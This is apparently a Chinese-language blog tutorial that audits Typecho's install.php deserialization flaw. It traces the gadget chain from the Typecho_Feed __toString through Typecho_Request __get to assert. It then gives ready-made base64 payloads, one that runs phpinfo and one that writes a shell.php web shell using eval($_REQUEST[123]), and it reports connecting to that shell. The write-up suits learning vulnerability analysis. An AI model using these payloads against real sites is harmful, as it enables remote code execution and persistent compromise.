主页面如图所示
在这里插入图片描述

1. 全局搜索高危函数unserialize

在这里插入图片描述

2. 进入Id=1的文件——install.php

第230行

$config 
= 
unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
  • unserialize:反序列化函数

  • base64_decode:以base64解码

  • Typecho_Cookie::get(‘__typecho_config’):使用Typecho框架的Cookie类中的get方法获取一个名字为__typecho_config的cookie的值。

  • 整体含义:从名为 __typecho_config 的 Cookie 中获取一个经过 Base64 编码和序列化处理的字符串,然后将其解码并还原为原始的 PHP 数据结构。

3. 审计get函数——Cookie.php

代码如下:

public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key
]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }
  • 第3行:$key是要搜索的键名,然后给这个键名加上一个前缀

  • 第4~5行:首先判断是否有$key的cookie,如果有则赋值给$value,如果cookie中没有$key则判断是否通过POST传参进来的值是否存在我们要搜索的键名$key,如果有则返回该值,如果没有则返回默认值NULL。

  • 第6行:如果返回的是一个数组,则返回默认值NULL,否则返回$value

审计完毕,综上所述得出的结论是,后端未对传递的数据进行过滤检测。

思考:如何才能进入到这里进行反序列化?

审计代码发现

在这里插入图片描述

首先

<?php if (isset($_GET['finish'])) : ?>
  • isset:检测变量是否已声明并且其值不为 null

  • 当此为真的时候才能进行下一步,所以判断此处应该位通过GET传参进来的finish

  • 同时config.inc.php必须要存在,才能进行下一步

  • 同时也要满足第二步,就是使用Typecho框架的Cookie类中的get方法获取一个名字为__typecho_config的cookie的值。然后取反成false才能进行第三步的反序列化。

  • 综上所述,应该满足的条件为

    • finish变量被传递进来

    • config.inc.php必须存在

    • 通过Typech_Cookie的get方法获取到了参数

此时我们再从开头开始看起走(上述的审计代码,感觉不对,应该从头开始审计,而上述审计有一点不准确。可舍弃)

4. 返回install.php

第59~61行

//判断是否已经安装
if (!isset($_GET['finish']) && 
file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && 
empty($_SESSION['typecho'])) {
    exit;
}
  • 判断finish参数是否被定义了

  • 判断TYPECHO_ROOT_DIR是否在'/config.inc.php'这个文件

  • session中的typecho是否为空

  • 同时满足三个条件,就会exit,退出了,也不会执行后续的语句,那么我们这里就给他传递一个finish参数,这样我们就能继续往下了。

第64~77行

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }
    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

第一个大的判断语句是如果get传递的参数不为空或者post传递的参数不为空,那么执行下一步,现在,我们通过webstorm去查看通过get方法获取参数这里的get方法过滤了哪些东西的

  • 如果get传递的参数不为空或者post传递的参数不为空

    • HTTP_REFERER不为空

    • 必须满足referer头的host不为空或请求头中host和referer中host保持一致

    • 总结一下,就只要满足三个条件

      • 请求头中host和referer中host保持一致

      • 定义finish参数

      • __typecho_config要在cookie里面,或者通过post传参进来

这里我们在本地源代码这里制造一个断点,在反序列化前面echo一下,然后die掉,判断代码能否走到这里

在这里插入图片描述

发现能成功输出success,那么就说明满足上述条件就能正常到达反序列化的代码块这里。

接下来审计下面的代码了

反序列化后$config是一个字符串,但经过一个

Typecho_Cookie::delete('__typecho_config');

在这里可以看出$config此时其实是一个数组了

$db = new Typecho_Db($config['adapter'], $config['prefix']);

第232~233行

$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
  • 这里的$config是什么?

    • $config是一个数组,从里面取出adapter和prefix
  • 这里的Typecho_Db是什么?

在这里插入图片描述

  • 翻阅到db.php中发现,这是一个关于数据库操作的方法,其中,数据库适配器这里他会拼接一个$adapterName,显然这里的$adapterName是一个字符串。

    • 如果这里的$adapterName是一个对象,那么这里将会调用_tostring方法,因为拼接也能调用_tostring方法

那么这里就会有思路了

  • 如果$adapterName是一个对象,那么将会调用__toString方法

  • 正常传参是一个字符串,为了让他出问题,所以才要去想办法传入一个对象

  • 需要去准备一个对象

    • 找一个类,并且类里面必须有__toString

5. 全局搜索__tostring

全局搜索__tostring,结果如图

在这里插入图片描述

那么就去找这3个文件去审计

进入Id=2的文件夹

public function __toString()
    {
        return serialize($this->_currentConfig);
    }

这个序列化完了之后就没后续了,换下一个

进入Id=3的文件夹

Feed.php

进入Id=4的文件夹

检查了SQL语句的类型,预定义了一些sql语句

综上所述,我们应该去审计那个Feed.php这个文件夹

6. Feed.php

227~253行

代码如下:

if (self::RSS1 == $this->_type) {
            $result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;

            $content = '';
            $links = array();
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
                $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }
                $content .= '</item>' . self::EOL;

                $links[] = $item['link'];

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

当满足第一个if条件的,就进入下面的代码执行,其中foreach (this->_items as item)这里的意思就是将_item这个数组赋值给$item,然后执行下面语句,可以看到后面拼接的基本都是从这个数组拿出来的属性,根本就不可控,故继续向下审计

第272~290行

else if (self::RSS2 == $this->_type) {
            $result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

当不满足第一个条件,然后又判断且满足这个条件,进入下面的代码,这里我们可以看到有一个content .= '' . htmlspecialchars(item['author']->screenName),item[‘author’]是一个对象,然后从这个对象里面取出了一个screenName属性

注:当这个属性screenName是私有的、受保护的、不存在的,这个时候就会调用get()方法,这里我们就要找一个有这个get方法,但是里面的属性没有这个screenName,或者有这个属性但是是受保护或者私有的。

7. 全局搜索__get

在这里插入图片描述

进入Id=1的文件

public function __get($prefix)
    {
        return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.');
    }

将传递进来的$prefix拼接到后面去,暂时看不出来什么情况,放置

进入Id=2的文件

public function __get($name)
    {
        return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL;
    }
  • 检查this->_currentConfig[name]有没有存在name的键

  • 有则返回键对应的值

  • 没有则返回null

进入Id=3的文件

public function __get($name)
    {
        switch ($name) {
            case 'year':
                return date('Y', $this->timeStamp);
            case 'month':
                return date('m', $this->timeStamp);
            case 'day':
                return date('d', $this->timeStamp);
            default:
                return;
        }
    }
  • 看样子应该是一个关于时间函数的一个定义,返回了一个格式后的值

进入Id=4的文件

public function __get($component)
    {
        $this->_component = $component;
        return $this;
    }
  • 将属性名$component作为一个参数赋值给了__component

进入Id=5的文件

public function __get($key)
{
return $this->get($key);
}
  • 将$key传递给了get方法

  • 同时get方法将这个属性参数返回了一个相应的值,这里我们就要去看看这个get方法里面有什么?

Request.php第293~309行

public function get($key, $default = NULL)
{
  switch (true) {
  case isset($this->_params[$key]):
  $value = $this->_params[$key];
  break;
    case isset(self::$_httpParams[$key]):
  $value = self::$_httpParams[$key];
    break;
  default:
  $value = $default;
    break;
    }
 $value = !is_array($value) && 
strlen($value) > 0 ? $value : $default;
 return $this->_applyFilter($value);
}
  • $key就是我们之前传递的参数

  • switch(ture)就是让条件一直为真,让后端的每个case分支都能被灵活检查,不再局限于switch()里面的内容

  • 第一个是判断$key是否存在于__params中

    • 如果存在就赋值给$value
  • 那么我们思考,我们想传进来的$key到底是个什么东西?

    • 就是Feed.php中的screenName属性,起初我们想要在screenName这里搜寻一个get方法,然后进入了Id=5的这个文件,发现这里又引用了一个get方法,所以这里的$key就应该是screenName
  • 如果$value不是一个数组,且字符串长度大于0,那么$value就是他自身,否则返回默认值null

    • 然后返回调用_applyFilter,现在就去看_applyFilter这个方法

第159~171行

private function _applyFilter($value)
{
    if ($this->_filter) {
      foreach ($this->_filter as $filter) {
        $value = is_array($value) ? array_map($filter, $value) :
        call_user_func($filter, $value);
      }

        $this->_filter = array();
    }

    return $value;
}
  • $value就是之前赋值的那个$value

  • $value是数组就执行array_map()

  • $value不是数组就执行call_user_func()

  • 那我们就让其上面传进来的是一个字符串,那么就判断其不是数组,就执行call_user_func($filter, $value)

    • $filter=assert

    • $value=phpinfo();

    • 造成了RCE代码执行漏洞

8. 验证——构造Payload

梳理一下:

  • $adapterName必须是一个对象,这样才能调用__toString方法

  • 我们找到的_toString方法在Feed.php中的Typecho_Feed类里面

    • 构造class Typecho_Feed类
<?php
class Typecho_Feed{

}
  • 要想当screenName哪里,条件必须满足self::RSS2 == $this->_type

    • 所以必须在里面加一个__type=RSS2
<?php
class Typecho_Feed{
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';
    /**
     * feed状态
     *
     * @access private
     * @var string
     */
    private $_type;
    /**
     * 创建Feed对象
     *
     * @access public
     * @return void
     */
    public function __construct()
    {       
        //原版:$this->_type = $type;
               $this->_type = 'RSS 2.0'; 
    }
}
  • 到后面foreach ($this->_items as $item)

    • 那么$this->_items这里是一个数组,$item也是一个数组,那么就在上面的payload基础上,声明_ietms是一个数组就OK
<?php
class Typecho_Feed{
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';
    /**
     * feed状态
     *
     * @access private
     * @var string
     */
    private $_type;
    /**
     * 创建Feed对象
     *
     * @access public
     * @return void
     */

    private $_items = array();   

    public function __construct()
    {       
        //原版:$this->_type = $type;
               $this->_type = 'RSS 2.0'; 
    }
}
  • 同时我们去看$item里面还有什么?发现之后可以知道有title、link、date、author

    • $item数组又在_items数组里面

    • 所以直接把 _items 数组里面的第一个元素给 $item 数组

    • 其他可以随便选,但是anthor应该填什么?

      • 在这里我们选择调用_get方法,并且我们审计找的那个在Request.php里面的一个Typecho_Request类

所以payload应该为

<?php
class Typecho_Feed{
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';
    /**
     * feed状态
     *
     * @access private
     * @var string
     */
    private $_type;
    /**
     * 创建Feed对象
     *
     * @access public
     * @return void
     */

    private $_items = array();

    public function __construct()
    {       
        //原版:$this->_type = $type;
               $this->_type = 'RSS 2.0'; 
               $this->_items[0]=array(
                    'title'=>'test',
                    'link'=>123456,
                    'date'=>2023,
                    'author'=>new Typecho_Request()
                );
    }
}
class Typecho_Request{

}
  • 同时结合Request.php中的get()方法

    • 让_params数组,传进来screenName

    • screenName应该为后续要执行RCE漏洞的代码

    • $_filter要满足是一个数组

那么payload为

<?php
class Typecho_Feed{
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';
    /**
     * feed状态
     *
     * @access private
     * @var string
     */
    private $_type;
    /**
     * 创建Feed对象
     *
     * @access public
     * @return void
     */

    private $_items = array();

    public function __construct()
    {       
        //原版:$this->_type = $type;
               $this->_type = 'RSS 2.0'; 
               $this->_items[0]=array(
                    'title'=>'test',
                    'link'=>123456,
                    'date'=>2023,
                    'author'=>new Typecho_Request()
                );
    }
}
class Typecho_Request{
    private $_params = array(
    'screenName'=>'phpinfo();'
);
    private $_filter = array(
      'assert'  
);
}
  • $config应该是一个数组,且里面的adapter是一个对象所以构造payload
<?php
class Typecho_Feed{
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';
    /**
     * feed状态
     *
     * @access private
     * @var string
     */
    private $_type;
    /**
     * 创建Feed对象
     *
     * @access public
     * @return void
     */

    private $_items = array();

    public function __construct()
    {       
        //原版:$this->_type = $type;
               $this->_type = 'RSS 2.0'; 
               $this->_items[0]=array(
                    'title'=>'test',
                    'link'=>123456,
                    'date'=>2023,
                    'author'=>new Typecho_Request()
                );
    }
}
class Typecho_Request{
    private $_params = array(
    'screenName'=>'phpinfo();'
);
    private $_filter = array(
      'assert'  
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
  • 最后将$config进行序列化,然后base64进行编码
<?php
class Typecho_Feed{
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';
    /**
     * feed状态
     *
     * @access private
     * @var string
     */
    private $_type;
    /**
     * 创建Feed对象
     *
     * @access public
     * @return void
     */

    private $_items = array();

    public function __construct()
    {       
        //原版:$this->_type = $type;
               $this->_type = 'RSS 2.0'; 
               $this->_items[0]=array(
                    'title'=>'test',
                    'link'=>123456,
                    'date'=>2023,
                    'author'=>new Typecho_Request()
                );
    }
}
class Typecho_Request{
    private $_params = array(
    'screenName'=>'die(phpinfo());'
);
    private $_filter = array(
      'assert'  
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data;

这个php输出就是我们的payload了

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjM0NTY7czo0OiJkYXRlIjtpOjIwMjM7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MTU6ImRpZShwaHBpbmZvKCkpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

效果如图

在这里插入图片描述

在这里插入图片描述

9. 写入shell

<?php
class Typecho_Feed{
    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';
    /**
     * feed状态
     *
     * @access private
     * @var string
     */
    private $_type;
    /**
     * 创建Feed对象
     *
     * @access public
     * @return void
     */

    private $_items = array();

    public function __construct()
    {       
        //原版:$this->_type = $type;
               $this->_type = 'RSS 2.0'; 
               $this->_items[0]=array(
                    'title'=>'test',
                    'link'=>123456,
                    'date'=>2023,
                    'author'=>new Typecho_Request()
                );
    }
}
class Typecho_Request{
    private $_params = array(
    'screenName'=>'die(file_put_contents("shell.php","<?php
eval(\$_REQUEST[123]);?>"));'
);
    private $_filter = array(
      'assert'  
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data;

payload

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjM0NTY7czo0OiJkYXRlIjtpOjIwMjM7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NzA6ImRpZShmaWxlX3B1dF9jb250ZW50cygic2hlbGwucGhwIiwiPD9waHANCmV2YWwoXCRfUkVRVUVTVFsxMjNdKTs/PiIpKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

测试效果图

在这里插入图片描述

在这里插入图片描述

测试连接蚁剑

在这里插入图片描述

`

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐